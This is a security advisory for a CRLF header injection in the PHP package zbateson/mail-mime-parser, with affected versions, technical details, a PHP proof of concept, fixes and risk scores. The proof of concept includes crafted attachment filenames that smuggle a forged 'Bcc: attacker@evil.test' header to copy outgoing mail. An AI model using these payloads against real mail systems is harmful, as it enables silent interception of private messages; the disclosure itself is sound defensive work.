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GHSA-36h5-qg4p-q2qf

HighCVSS 7.2 / 10
Published Sep 24, 2026·Last modified Sep 24, 2026
Affected Components(2)
Packagist logozbateson/mail-mime-parser
< 3.0.6
Packagist logozbateson/mail-mime-parser
4.0.0 – 4.0.2
Description

Impact

A CRLF (carriage-return / line-feed) header injection affecting any application that uses this library to build or forward MIME messages with an attacker-influenced attachment filename.

Attachment filenames are interpolated into the Content-Type and Content-Disposition header values without stripping CR/LF, so a filename containing \r\n serializes as one or more additional, attacker-controlled header lines (for example a forged Bcc: that silently exfiltrates a copy of the outgoing message). The untrusted filename can come directly from parsed inbound mail, so no local construction is required — an application that re-attaches or re-sends a parsed filename is exposed.

Details

On the outbound side, MultipartHelper::createAndAddPartForAttachment() sanitizes the filename only with iconv('UTF-8','US-ASCII//translit//ignore', $filename). CR and LF are valid US-ASCII, so they survive that filter, and the value is then written into the header verbatim via MimePart::setRawHeader(). A filename of doc\r\nBcc: attacker@evil.test therefore serializes as:

Content-Disposition: attachment;
 filename="doc
Bcc: attacker@evil.test"

The filename value closes after doc, and Bcc: attacker@evil.test stands as its own header line.

The decode side is affected as well, which is what makes purely inbound exploitation possible:

  • ParameterPart::decodePartValue() rawurldecode()s an RFC 2231 filename*= parameter with no control-character stripping, so a crafted filename*=utf-8''doc%0D%0ABcc:... makes getFilename() return a string with embedded \r\n.
  • The RFC 2047 path (MimeToken) strips \r/\n from the encoded word, but then base64/quoted-printable-decodes it, which can reintroduce CR/LF into the decoded value.

As a result getFilename() can already hand back a value containing newlines for crafted inbound mail, which then flows into outbound headers when that filename is reused.

Proof of concept

composer require zbateson/mail-mime-parser

<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
use ZBateson\MailMimeParser\Message;

$parser = new MailMimeParser();

function attachAndReport(string $filename): void {
    $out = Message::from("From: me@host\r\nContent-Type: text/plain\r\n\r\nhi\r\n", false);
    $out->addAttachmentPart('payload', 'application/octet-stream', $filename);
    echo (strpos($out->__toString(), "\r\nBcc: attacker@evil.test") !== false)
        ? "INJECTED\n" : "clean\n";
}

attachAndReport('invoice.pdf');                    // => clean
attachAndReport("doc\r\nBcc: attacker@evil.test"); // => INJECTED

// The CRLF reaches getFilename() straight from parsed mail via an
// RFC 2231 filename*= parameter, so no local construction is needed:
$inbound = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
    . "--b\r\nContent-Type: application/octet-stream\r\n"
    . "Content-Disposition: attachment; filename*=utf-8''doc%0D%0ABcc:%20attacker@evil.test\r\n\r\n"
    . base64_encode('data') . "\r\n--b--\r\n";
$fn = $parser->parse($inbound, false)->getAllAttachmentParts()[0]->getFilename();
var_dump($fn);        // => string(28) "doc\r\nBcc: attacker@evil.test"
attachAndReport($fn); // => INJECTED

Patches

Fixed in 4.0.2 and 3.0.6. Users should upgrade to one of these (or later) versions.

Versions 1.x and 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release.

Workarounds

If upgrading is not immediately possible, strip CR and LF from any filename before passing it to attachment APIs, and from the result of getFilename() before reusing it in a constructed message — e.g. preg_replace('/[\r\n]+/', ' ', $filename).

  • Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.
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Risk Scores
Base Score
7.2

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.18%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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